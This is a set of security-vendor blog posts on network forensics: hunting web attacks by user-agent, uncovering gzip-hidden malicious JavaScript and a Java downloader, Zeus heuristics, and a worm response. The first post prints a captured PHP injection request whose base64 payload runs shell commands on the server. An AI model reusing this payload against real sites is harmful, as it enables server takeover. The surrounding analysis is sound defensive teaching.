I tend to be an opponent of looking for bad stuff by using “known bad dictionaries” like IP lists, signatures, etc. I tend to soapbox about how you can find far more known and unknown bad stuff by employing a methodology of separating out “presumed good” stuff, and examining outliers. Check out any of the other posts I have up here for more detail about this, probably starting with this post.

The InfoSec industry tends to focus very hard on the exploitation of clients (mostly being end-users belonging to an organization, or customers of your organization – especially for financial institutions). Since the early 2000′s gradually less focus has been paid to the exploitation of servers.

As discussed in other posts here, the exact same forensics methodologies and logical reasoning apply not only to the high-level analysis of network traffic, but also to low-level areas like the characteristics of processes on a host. Likewise, the same techniques apply to finding bad things with hosts as well as with servers.

In this case, we were interested in finding anomalous inbound traffic going from clients to web servers. The logic we used went something like this:

1 – Most people browse webpages using a common web browser like Internet Explorer, Firefox, Safari, Chrome, etc.

2 – The user-agents of these browsers are based on Mozilla 4.0 or 5.0.

So in this case, we were interested in sessions not matching the characteristics above. Those sessions are depicted here:

While that’s a lot of results (that are mostly legitimate), we could have stopped there and applied the “if-then” logic we talk about in other articles to find the same types of activity we’ll see in a minute, but for the sake of discussion here, we also went one step further.

In this case we were hunting for a more specific type of activity, so we added the following criteria to our logic:

3 – When hacking a website using an exploitation method where automation makes the process more efficient (for instance, SQL injection), many times it’s easier to automate your hacking using a high-level language like Perl, etc.

We were able to combine the above logic into a single query as shown next:

The above query simply says “show us all network sessions where the user-agent contains the term perl.”

In many environments/traffic sets, this is all you need to find “interesting” things, however in massive environments with custom-developed web applications it’s likely that query will still clutter your analysis work with too many legitimate sessions to analyze. In those cases, it’s useful to layer in the following logic, which is a natural part of the “if-then” logic we talk about in other places.

1 – Because the server farm examined in this case resides in the United States and the customers of this application were primarily US-based, you can filter out all traffic originating from the United States (or whatever country applies to your case). Keep in mind, this would normally still include a massive amount of traffic, but we’ve already applied the filter to only include sessions were the user-agent contains the word perl. The combination of the two criteria points typically reduces the number of sessions from millions to dozens.

2 – When using the logic above, it’s helpful to additionally apply a filter for all sessions where the source country could not be resolved. This is a neat little trick to quickly filter out all traffic from RFC 1918 addresses, which typically means traffic sourced from the organization being examined – especially if you’re looking for bad things coming in. (We apply this logic all the time when looking for bad things going out as well – except in those cases we filter traffic where the destination country can’t be resolved. While this logic doesn’t apply to all cases, it’s a good place to start for most.)

In this case, we ended up with the following eight sessions:

All eight of those sessions came from the same source. Digging into all sessions from this source (which included several others not part of the eight above, but stood out like a sore thumb after we found those eight – which is typically how it works), we found a lot of traffic like this:

POST /contactus.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: <redacted>
User-Agent: Mozilla/3.0 (OS/2; U)
Content-Type: application/x-www-form-urlencoded
Content-Length: 996

<redacted>&name=[php]eval(base64_decode('ZWNobyAiQU5BU0tJPGJyPiI7DQp
lY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQokY21kPSJlY2hvIEpGcnkiOw0KJGVzZWd1aWNt
ZD1leCgkY21kKTsNCmVjaG8gJGVzZWd1aWNtZDsNCmZ1bmN0aW9uIGV4KCRjZmUpew0KJHJlcyA9ICcnO
w0KaWYgKCFlbXB0eSgkY2ZlKSl7DQppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQpAZXhlYygkY2
ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHM
oJ3NoZWxsX2V4ZWMnKSl7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoZnVuY3Rp
b25fZXhpc3RzKCdzeXN0ZW0nKSl7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQ
G9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aX
N0cygncGFzc3RocnUnKSl7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2J
fZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRm
ID0gQHBvcGVuKCRjZmUsInIiKSkpew0KJHJlcyA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzI
C49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KQHBjbG9zZSgkZik7DQp9fQ0KcmV0dXJuICRyZXM7DQp9'))%3B
die%28%29%3B%5B%2Fphp%5D

When we remove the encoded data for a moment and clean it up, we see the user is submitting the following in the form of a POST to contactus.php:

[php]eval(base64_decode('<encoded_data>'));die();[/php]

Even without being a php programmer, it’s fairly obvious to see the attacker is using PHP injection to get the php form contactus.php to execute something encoded inside the eval() statement. And what is inside that eval statement?

It’s decoded below:

After looking at the other sessions we see the connection with Anaski (pictured below) is not coincidental, as it usually is not with groups like them.

Again, this is just another fun example of how intelligent and tactical traffic carving methods turn up far more than you’d find going out and looking for specific things.

- Gary Golomb

Part Two in a multi-part series on holistic, multi-disciplinary analysis and reversing.

The last post, “Mutex Analysis: The Canary in the Coal Mine,” started off showing to use mutexes to discover malware that is difficult to locate using more traditional methods and tools. We used a live compromised system for the example and the post came to a relatively abrupt end when it seemed that we stumbled onto a new/unknown type of malware – or at least one that does not seem to have any public exposure or analysis. This post is “part 2″ of our analysis.
 
Update 6/21/2011:
 
This post has been moved to the “Forensics and Reversing” section of the website. I apologize for the inconvenience. Read the full article here.
 

Part One in a multi-part series on holistic, multi-disciplinary analysis and reversing.

This post is based on a presentation I gave at the last Thotcon, but was really prompted by a case from a couple days ago. It’s an interesting example of how the same disciplined methodologies for finding malicious traffic on the network also applies to sophisticated situations on the host as well. We’ll examine those methodologies and logic on the host by examining a little app I wrote called LockPick, pictured  here and detailed later in this article. As we’ll see, mutex analysis is a VERY powerful way of analyzing systems during Incident Response. They can lead the direction of your analysis when other automated methods fail to do so.
 
Update 6/21/2011:
 
This post has been moved to the “Forensics and Reversing” section of the website. I apologize for the inconvenience. Read the full article here.
 

Introduction

In our first post in the forensics and reversing series, we examined why HTTP gzip content encoding is a larger and more serious problem than most people realize. We’ll use the end of the first post as a starting point for analysis in this post. It also serves as an example of something far more important. That is, the very heart of forensics – and something I’d propose is the very definition of forensics. I teach a network forensics and reversing class together with Mike Sconzo about once a month. This is a point I raise at least a dozen times a day in class. That is:

World class forensics engineers are the ones who quickly and intelligently reduce millions of sessions to about a dozen worthy of deeper analysis.

What constitutes quickly? I suppose it depends on the tool being used to perform the analysis, but I’d generalize by saying no more than a couple minutes and/or the same number of clicks. We’ll see this in a moment.

What constitutes intelligently? We can answer this question by looking at a host-based forensics analogy. Suppose you were given a hard disk of a compromised machine and you needed to find the malware. There could be millions of files on the computer, so where do you start? Most of the time, especially for most standard compromises, the following steps will work (this is an over-generalization, but one that works nonetheless):

1. Show only PE files (exe, dll, etc..). At this point you’ve probably gone from nearly a million to about 100,000.
2. Show only PE files outside the Program Files directory. Here you may go from about a hundred thousand files to tens of thousands.
3. Depending on the assumed time of compromise, show only those PE files modified or created in a specific range of days. At this point you should go from tens of thousands to less than 100.
4. Since malware tends to be smaller in size, show only those PE files less than 500k. At this point you should be looking at only a handful of files, and most of the time, the malware you’re looking for will be one of them.

In the above steps, you found malware NOT by looking for known traits of malware. You did it by examining general characteristics about file traits. In other words, by examining characteristics external to the file, not by searching for signatures or other characteristics internal to the file. Typically, each of those traits by themselves are completely uninteresting until they are combined with other “uninteresting” traits, making them very interesting when layered together.

As you’ll see next, the same applies to network traffic. We can intelligently go from millions of sessions to only a few by wisely layering traits of network sessions with little attention paid to what is inside those sessions.

Read the full and detailed post here:
http://www.networkforensics.com/forensics-and-reverse-engineering-series/

Gary Golomb

Something I’ve found unsettling for some time now is the drastically increased usage of gzip as a Content-Encoding transfer type from web servers. By default now, Yahoo, Google, Facebook, Twitter, Wikipedia, and many other organizations compress the content they send to your users. From that list alone, you can infer that most of the HTTP traffic on any given network is not transferred in plaintext, but rather as compressed bytes.

That means web content you’d expect to look like this on the wire (making it easily searchable for policy violations and security threats):

In reality, looks like this:

As it turns out, the two screenshot above are for the exact same network session, the later screenshot being from wireshark and showing the data sent by the webserver really is compressed and not discernable.

By extension, you can likely say that most real-time network forensics/monitoring tools are [realistically] “blind” to [plausibly] a majority of the web the traffic flowing into your organization.

Combined with the fact that a vast majority of compromises are delivered to clients via HTTP (at this time, typically through the use of javascript), my use of the word “unsettling” should be an understatement. This includes everything from “APT” types of threats (or whatever soapbox you stand on to describe the same thing), down to drive-by’s and mass exploitations.

The good news: Current trends in exploitation have given us very powerful methods for generic detection (eg: without needing “signatures,” or more precisely – preexisting knowledge about the details of particular vulnerabilities or exploits) by examining traits of javascript, iframes, html, pdf’s, etc.

The bad news: Webservers are reducing the chance of network technologies from detecting those conditions by compression based transfer (obfuscation).

I find no fault with organizations choosing to use gzip as their transfer type. HTTP is a horribly repetitive and redundant language (read: bloated). Every opening <tag> has an identical closing </tag>. XML is even worse. For massive sites with massive traffic, the redundancy and bloat of protocols like HTTP and XML translate directly to lost revenue via extremely large amounts of wasted bandwidth.

Nonetheless, as forensic engineers, our challenge is to discover and compensate for all the things proactive security technologies like AV, firewalls, IPS, etc. continually fail to identify and stop. Recently, I added the following rule on a customer’s network in NetWitness:

If you’re not familiar with the NetWitness rule syntax, the rule above does the following:

If the server application/version (as extracted by the protocol parsing engine) contains the string: “nginx,”

AND

If the Content-Encoding used by the server is gzip

THEN

Create a tag labeled “http_gzip_from_nginx” in a key called “monitors.”

In the Investigator GUI, you would see something like this in the “monitors” key:

Why nginx? As it turns out, a lot of hackers tend to use nginx webservers, so this seemed like a good place to start experimenting. The question I was trying to answer is:

If the content body of a web response is gzip’ed (so we can’t examine traits of “suspiciousness” inside the body), then what can we see outside the body to indicate this gzip’ed traffic is worth examining further?

We’ll revisit this question in later blog posts, but for now, nginx as a webserver is an amazingly powerful place to start! We’ll examine one such example in this post, with an additional post using the gzip + nginx combination. As the small screenshot above shows, there were 33 sessions meeting the criteria of gzip + nginx (out of about 50,000 sessions). With only 33 sessions, it’s possible to examine them by drilling into the packets of all 33, examining them each one-by-one (eg: brute-force forensic examination), but that would be poor forensic technique and defeat the entire point of a technical and educational network forensics blog! The examples in these series of blog posts will employ good forensic practices using “correlative techniques,” allowing us to have a good idea of what is inside the packet contents before we ever drill that deeply into the network data (an indication you are using good network forensics practices).

The first pivot point we’ll examine are countries. Keep in mind, this is after we used the rule above to include only network sessions where the server returned gzip compressed content, and where the webserver was some type of nginx. We could have manually done the same by first pivoting on the content type of gzip:

Doing the first pivot reduces the number of sessions we’re examining from about 50,000 down to 2,878. Then we can do a custom filter to only include servers with the string “nginx” within those 2,878 session. Doing so gives us the same 33 sessions mentioned above.

In those 33 sessions, the countries communicated with are:

Not only do we tend to see a higher degree of malicious traffic from countries like Latvia, it immediately looks suspicious simply because it’s an outlier in the list. (Don’t worry Latvia, we’ll pick on our own country in the next post!) Additionally, there’s only a single session to examine here, meaning drilling into the packet-level detail is an ok decision at this point.

In the request, we see the client requested the file “/th/inyrktgsxtfwylf.php” from the host “ertyi.net,” as shown next:

As expected, based on the meta information NetWitness already extracted, we see the gzip’ed reply from a nginx server:

Fortunately, Investigator makes it easy for us to examine gzip’ed content by right-clicking in the session display and selecting decode as compressed data:

Doing so shows us a MUCH different story!

The traffic appears to be obfuscated javascript. We can extract it from NetWitness (a few different ways) to clean it up and examine. I’ll skip those steps and just show the cleaned-up and nicely formatted content the webserver returned.

There are a few things to notice in here. At the very bottom of the image above, we clearly see encoded javascript, a trait extremely common to client-side exploit delivery and malicious webpages. We’ll save full javascript reverse engineering for another blog post.

But the worst (or most interesting) part is the decoding and evaluation for this encoded data, while implemented in javascript, is stored inside a TextArea HTML object! This technique makes the real logic invisible and indiscernible to most automated javascript reverse engineering tools.

Indeed, if we upload this webpage to one of my favorite js reversing sites (jsunpack, located at: http://jsunpack.jeek.org/dec/go), we see the following results when the site attempts to automatically reverse engineer the javascript:

Without going further into the process of reverse engineering the javascript (for now – we have an endless supply of blog posts coming!), we can be quite sure we’re looking at something suspicious. At the very least, we know for a fact we’re looking at something that does not make it easy to discern what it’s doing!

The telltale signs of “badness” don’t stop there. At the top of the decoded body data we saw an embedded java applet, as follows:

While we don’t know (yet) what the applet does, there’s a pretty strong indication it’s a downloader or C&C (command and control) application of some type. How can we make such a guess without knowing anything about it?

Look closely at the embedded parameter passed into the applet:

We can make a guess that the string contained in the “value” parameter is encoded data using a simple substitution cypher where “S”[parm] = “T”[actual] and “T”[parm] = “/”[actual]. If we made such a guess, then it’s possible the decoded parameter value actually starts with the string “http://”.

Of course, because we have the download of the jar file within our full packet capture and storage database, we’ll just extract it from NetWitness to validate our hunch and possibly learn more. In the below screenshot, I already performed the following steps:

1. Switched to the session with the jar file download. (Simply clicked on the next session between that same client and server.)
2. Extracted the jar file by saving the raw data from the server using the “Extract Payload Side 2” option in NetWitness.
3. Opened the jar file using the following java decompiler:

The first line of code in the java applet takes the parameter passed to it (the encoded value we identified above), and hands it to a function called “b.” The result of that function is stored in a string variable called str1.

Following the decompiled java code to function “b,” we see the following:

It turns out the applet actually is using a simple substitution cypher, replacing one given character with another. When the parameter “RSS=,TT!;LBIB@STSRTYG$I=R=” is decoded, we end up with the string “http://uijn.net/th/fs7.php?i=1.”

The java malware then continues with additional string functions as shown next:

First, we see the declaration of str2 through str5, with values assigned to each.

Then, str6 through srt8 is simply the reversal of str2 through str4, resulting in the following strings:

Str6 = .exe

Str7 = java.io.tmpdir

Str8 = os.name

Combining that with the last three lines of code shown above, we see the following:

Str10 is a filename ending in “.exe” where the actual filename is a randomly generated number.

Str11 is the path to temporary files for the current user.

Str12 is the name of the Operating System the java malware is currently running on.

The last part of this java malware (that we’ll examine here anyways) is shown next:

First, it tests to see if the string “Windows” is contained anywhere in the name of the Operating System. If so, then it goes through the process of opening a connection to the URL (the one we decoded above), downloads the file, saves it to the temporary directory, then executes the file.

This file appears to be malware as a first-stage downloader for other executables that are likely far more malicious.

Pre-Summary

Even though a large amount of web traffic is coming into your organization gzip compressed, making most inline/real-time security products totally “blind” to what’s inside, we can use standard forensic principals to identify which of those sessions are worth examination. In this case, we combined to following traits to reduce 50,000 network sessions to a single one:

1. Gzip’ed web content
2. Suspicious country
3. Uncommon webserver application

Once we drilled into that single session, we saw how trivial it was to use NetWitness to automatically decompress and content, extract it, then validate it as “bad.”

Epilogue

Does the process stop there? Of course not! If you had to repeat this process every time, not only would it make your job boring as heck, but would call into question the value you and your tools are really providing the organization in the first place! There are many ways to maximize the intelligence gained from the process just shown. I’ll highlight one method here, while saving others for later blog posts.

There are several interesting “indicators” gathered from this traffic so far. The ones I’ll focus on here are host names. In the request made by the client, we saw the following tag in the HTTP Request header:

Host: ertyi.net

In the java malware we decompiled, after decoding the encoded parameter value, we saw the executable to be downloaded was from the host “uijn.net.”

At this point, network rules should be added to firewalls, proxies, NetWitness intelligence feeds, and any other technology you have that can alert to other hosts going to either of those servers – preferably blocking all traffic to those servers.

But, can we extend our security perimeter in relation to the hackers using those servers?

Interestingly, we find both those domains are hosted on the same IP block: 194.8.250.60 and 194.8.250.61.

That leads to the question, “What other domains are hosted on those server?”

Normally I use http://www.robtex.com to answer questions like that, but in this case, robtex does not provide a lot of information about that question. It’s possible the hackers are brining-up and tearing-down DNS records as needed for the domain names they manage.

Another source of helpful information can be found querying the “Passive DNS replication” database hosted at: http://www.bfk.de/bfk_dnslogger.html Here, we can find an audit trail of all historically observed DNS replies pointing to IPs you submit queries about. In this case, we do indeed find valuable information, including about 40 unique host names that have been hosted on those two IP’s. A shortened list is included below showing some of the names that have been hosted there.

aeriklin.com

aijkl.net

asdfiz.net

asuyr.net

campag.net

iifgn.net

jhgi.net

jugv.net

kobqq.com

krclear.com

lilif.net

nadwq.com

oiuhx.net

pokiz.net

uijn.net

As we can see, none of them look immediately legitimate, so we can infer this is a hacking group using a set of servers for domains they have registered simply to be “thrown away” if any of those domain names are discovered and end up on a blacklist somewhere.

The Real Summary

By combining a few pivot points and looking inside compressed web traffic most products ignore, from a single network session we proactively increased the security posture of your organization by creating an intelligence feed of nearly 40 hosts names and 2 IP’s. You could now audit DNS queries made by all hosts in your organization to see if other clients are compromised and doing look-ups when trying to communicate with those hosts.

For the truly paranoid (or safe, depending on how you look at it), you could also blackhole all traffic to those apparently malicious networks:

route: 194.8.250.0/23

origin: AS29557

Considering the Google Safe Browsing report for that AS, it’s probably not a bad idea!

Gary Golomb

Early this year, we were challenged by our CEO Amit Yoran to take this perpetual battle against Malware to the next level.  Easily, one of the most common use cases today of NetWitness Nextgen, is the combating of various forms of commercial and custom malicious code.  The goal of helping our customers optimize their efforts in this regard seemed like a natural progression.  It seemed like every day customers or NetWitness analysts were finding yet another zero day, or yet another piece of custom code, or yet another group of professional thieves.  We are very fortunate to have so many experts on staff, as well as customers, who regularly use our solution to sift through terabytes of network data to identify threats from malware.

The first step was to interview these experts, and ask them how we could ease this effort.  We also asked them to quantify and explain their magic sauce.  Surprisingly, explaining how they go about their day-to-day efforts was very easy for most of them. However, when we asked what our system should do to help – nearly every one of them found it hard to come up with any specific requirements.  Inevitably, they would defer and simply say, “Well – do some of that stuff I just told you.  That’s a start.”

Tell us the same thing enough times, and we will eventually listen.  What if we automated all their steps during investigations? What if we could ask all the questions they ask?  What if all the information needed to highlight what was bad, was analyzed for them?  It slowly dawned on us, that their “secret sauce” was the answer.  We did not need to invent a new paradigm.  We needed to make their paradigms work and scale. They were telling us what they wanted done for them, by describing all the laborious steps they took to get there manually.  They were telling us what tools, services, and intelligence they liked to use.  They were telling us the combinations of indicators that really peaked their interest.  And we had a very distinct advantage.  They were telling us all this, by showing us in NetWitness what they look for.  We already had collected the majority of the information we needed.  We just needed to ask the right questions.

Today at the 2nd annual NetWitness user conference, we introduced NetWitness Spectrum.  We are in the process of taking requests for early access any NetWitness customer. Spectrum is an expert automated analytics engine that provides extraction and prioritization of executable content within an enterprise.  Spectrum is your virtual Malware expert, sifting through thousands of executables and doing the laborious legwork to prioritize malicious content, all on a continual, real-time, port and protocol independent basis.

Over the next few weeks, we will be discussing more and more features and capabilities of Spectrum. We have a history here at NetWitness of thinking a little differently than the industry tells us to think. We prefer to innovate rather than copy, lead rather than follow.  This time however, our innovation is purely you, our user community.  We are following your lead.

For more information regarding Spectrum and the early access program, visit www.netwitness.com.

Tim Belcher, CTO

Zeus is evolving. In regards to a new release, one Anti-Virus vendor recently noted:

“[the new exe] uses techniques designed to avoid automatic heuristics-based detection.”

The discussion then proceeds to examine how the exe is different from previous versions of the malware.

Should we be alarmed that Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

I suppose if it actually evaded heuristics-based detection mechanisms, that would be alarming. I’m sure the version of Zeus in question evades the mechanisms of certain AV vendors. However, when looking at the exact sample in question (verified by MD5) using the techniques we use for malware identification here, we see the sample stands out like a sore thumb.

Using our own internally-developed heuristic malware identification methods (also used by components of NextGen), we see the exe has traits such as the following (not a complete list!):

1. The binary contains packed sections, indicative of packed, obfuscated, and/or encrypted malware.
2. The size of the binary is abnormally small considering the conditions and context in which it was found.
3. The PE checksum fails to validate, something malware packers are notoriously bad about.
4. The binary does not have any information normally found within the version info table in the resource section of the PE.

But… Why get overly wrapped around the minutia related to the abnormal facets of this particular sample of Zeus? There’s a more important note to be made here. That is, Zeus is malware, so it does the things that malware does! You can’t get more “heuristically obvious” than that!

From the same vendor as above:

“…common ZeuS 2.0 variants contain relatively few imported external APIs… By contrast, [this version] imports many external APIs. To a heuristic scanner, this changes the appearance of the file and lowers the possibility of detection.”

Finding a binary that has very few external imports is generally a sign that something is suspicious. Specifically, it’s generally a sign the file is packed, obfuscated, and/or encrypted and the real imports are likely hidden inside. Such is the case when finding binaries that only import between two and five specific API’s from kernel32.dll (in the more obvious cases).

However, when finding a binary with a lot of imports, that’s even better since you get to see the full range of imports needed by the binary/malware! Without even running the sample or doing deep low-level reverse engineering, you can start to make assumptions about the functionality of the binary based on the API’s it uses. Further, it’s a simple matter to separate malware from legitimate binaries by comparing the API’s it uses to the ones it doesn’t need/use.

As is the case with this sample of Zeus, we see it (like the thousands of different types of malware not related to Zeus) imports APIs related to hooking the Windows API, creating mutexes, and managing services – without importing the functions used by legitimate binaries that also use the same functions.

So, should we be alarmed some people say Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

If your security vendor is looking for Zeus, then yes, you should be alarmed. However, if your security vendor is looking for general signs of malware, infection, and so on, then no… Fortunately Zeus is still malware, just like all the rest of it…

Gary Golomb

If you’ve kept a view on security news in the past 24 hours, you may have noticed some press around a new email worm spreading on corporate networks.   Dubbed the “Here You Have” worm, it is a good case study on how to manage emerging threats with your NetWitness technology.  You can find additional info on the worm here:

http://isc.sans.edu/diary.html?storyid=9529

As a general overview, the worm works in a similar manner as other recent malware observed in the wild.

• It tempts the user to click on an attachment or link with a social engineering hook.
• When clicked, the malware establishes itself on the targeted machine to run automatically and propogates itself.
• The malware downloads additional executables intended to steal saved credentials and establishes a beacon mechanism to receive updates or transmit stolen data.

Like most emerging threats, research teams at NetWitness analyzed this variant as soon as we found out about it, and I’ll use a few basic incident response questions to demonstrate detection mechanisms using our technology.   One thing to note is that none of this worm’s activity requires any content generation other than simple application rules since the metadata extraction process in our engine  extracts all of the relevant meta by default.

1)  Who in my environment was targeted?

Targeted email addresses related to this worm’s activity can be detected by simply using a custom-drill in Investigator:

subject contains ‘here you have’,'just for you’ && email = ‘iraq_resistance@yahoo.com’

This drill will focus the collection on the email sessions related to this activity, and relevant email addresses, ip addresses, hostnames, etc. can be extracted for additional analysis.

2) Who in my environment actually clicked on the link or attachment?

In this case, there are a few ways to detect this activity.   Once executed, the malware downloads a number of files with the extension “iq”.   Since this is an unusual extension, an initial quick pivot to locate infected hosts is:

extension = ‘iq’

Or, you could specifically target some of the filenames themselves:

filename = ‘ie.iq’,'pspv.iq’,'op.iq’,'im.iq’,'m.iq’,'w.iq’,'gc.iq’,'ff.iq’,'rd.iq’,'tryme.iq’

Or, you could look for hits to the alias.host where the files reside:

alias.host = members.multimania.co.uk && directory contains ‘yahoophoto’

Or, if your sniffing equipment is monitoring a backbone, you could look for the malware being copied to mapped network drives:

filename = ‘pdf_document21_025542010_pdf.scr’

3) Who in my organization is infected and beaconing?

In this case, one of the downloaded files in Step 2 attempts to contact “tarekbinziad.no-ip.biz”, so you can use an alias.host pivot to locate machines that may have transmitted credentials to a third-party:

alias.host = ‘tarekbinziad.no-ip.biz’

One thing to keep in mind is that both “tarekbinziad.no-ip.biz” and “members.multimania.co.uk/yahoophoto/” have been taken down by the security industry at this point, so with this variant, you are looking at a cleanup effort.   Also keep in mind that infected machines will continue to spam messages until they are cleaned.

Happy Hunting!

Thanks Richard at TaoSecurity for the post on our mini device.

One of the lesser-known features that was recently introduced in NetWitness Investigator are Custom Actions.   Have you ever been analyzing a pcap in Investigator and thought “I wish there was an easy way to push this information into another system…”.   Custom Actions is a flexible extension system that will allow you to do just that.    Here are just a few examples of what can be accomplished:

Scenario:   You are a senior incident responder at your organization, and one of your company’s help desk analysts reports strange behavior from an executive’s workstation.   Luckily, this analyst is on his game and has provided you with a network capture from the workstation, which you import into Investigator for analysis.  What are some tasks that I might want to do with this investigation?

Once you are here, you’ll see a GUI overview of the custom action system with a few examples. You may have a few in the list that were installed by default.

cmd.exe /K c:\PROGRA~1\nmap\nmap.exe -PN -sV –top-ports 1000 192.168.2.245

cmd.exe /K c:\PROGRA~1\nmap\nmap.exe -PN -sV –top-ports 1000 ${VALUE}

http://www.google.com/search?q=dog

http://www.google.com/search?q=${VALUE}

For Task 3, we are going to use the same basic concept to search URLvoid.com for a domain’s presence on blacklists.  Just like Google, we’ll start with a search on URLvoid:

http://www.urlvoid.com/scan/cnn.com

http://www.urlvoid.com/scan/${VALUE}

Once these have been added, we can then use them to quickly investigate our scenario:

Using the nmap scan custom action, we find that our executive’s workstation at 192.168.2.246 is listening only on ports that it should be per our company’s security policy. We see that our Google custom action reveals that the involved filenames are related to a known ZeuS trojan infection, and we know by our URLvoid results that this command and control server now appears to be down.     This PC is compromised, so we then declare an incident and proceed with our incident response plans.

As you can see, custom actions are very easy to implement.  These are simple examples, but with some effort, tools, a favorite scripting language, etc., the sky is the limit.  You could do things like:

Do you have a good idea or example for a custom action?  Post about it in the NetWitness Community, we’d love to hear about it!

Happy Hunting!